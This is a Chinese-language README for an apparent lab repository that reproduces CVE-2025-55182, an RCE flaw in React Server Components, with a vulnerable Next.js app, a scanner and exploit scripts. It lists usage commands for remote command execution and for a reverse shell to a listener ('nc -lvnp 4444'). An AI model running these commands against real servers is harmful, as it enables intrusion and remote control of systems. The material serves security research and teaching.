本仓库提供了一个完整的环境,用于分析和复现 CVE-2025-55182,这是一个影响 React 19.x 和 Next.js 15.x 的 React 服务端组件 (RSC) 中的严重远程代码执行 (RCE) 漏洞。
⚠️ 警告:本项目故意包含存在漏洞的代码。请勿将其部署到公共服务器或生产环境中。
react-server-dom-webpack, react-server-dom-turbopack该漏洞存在于 React 服务端组件运行时处理来自 HTTP 请求(服务端操作)的序列化数据的方式中。攻击者可以构造恶意的 "Flight" 协议载荷,当服务端对其进行反序列化时,会在身份验证检查之前执行任意代码。
react2shell/
├── vulnerable-app/ # 存在漏洞的 Next.js 15 应用
│ ├── app/
│ │ ├── actions.ts # 存在漏洞的服务端操作
│ │ └── page.tsx # 用于测试漏洞的 UI
│ ├── Dockerfile # 容器定义
│ └── package.json
├── exploit/ # 利用工具
│ ├── exploit.py # Python PoC 漏洞利用
│ ├── scanner.py # 漏洞扫描器
│ └── quick_exploit.sh # 简单的 bash 漏洞利用
├── docs/ # 分析文档
└── docker-compose.yml # 隔离的实验室环境
在隔离的容器中运行存在漏洞的应用:
docker-compose up -d --build
应用将在 http://localhost:3000 可用。
在浏览器中访问 http://localhost:3000。您应该会看到 "React2Shell Lab" 界面,其中包含多个测试面板:
我们提供了多种工具来测试该漏洞。
安装依赖:
pip install -r exploit/requirements.txt
检查是否存在漏洞:
python3 exploit/exploit.py -u http://localhost:3000 --check
执行命令:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
反向 Shell (需要监听器,例如 nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
扫描存在漏洞的 React/Next.js 实例:
python3 exploit/scanner.py -u http://localhost:3000
要在您自己的应用中修复此漏洞:
升级依赖:
验证补丁:
检查 package.json 以确保 react-server-dom-* 包已更新。
本项目仅供教育目的和安全研究使用。作者对滥用本材料不承担任何责任。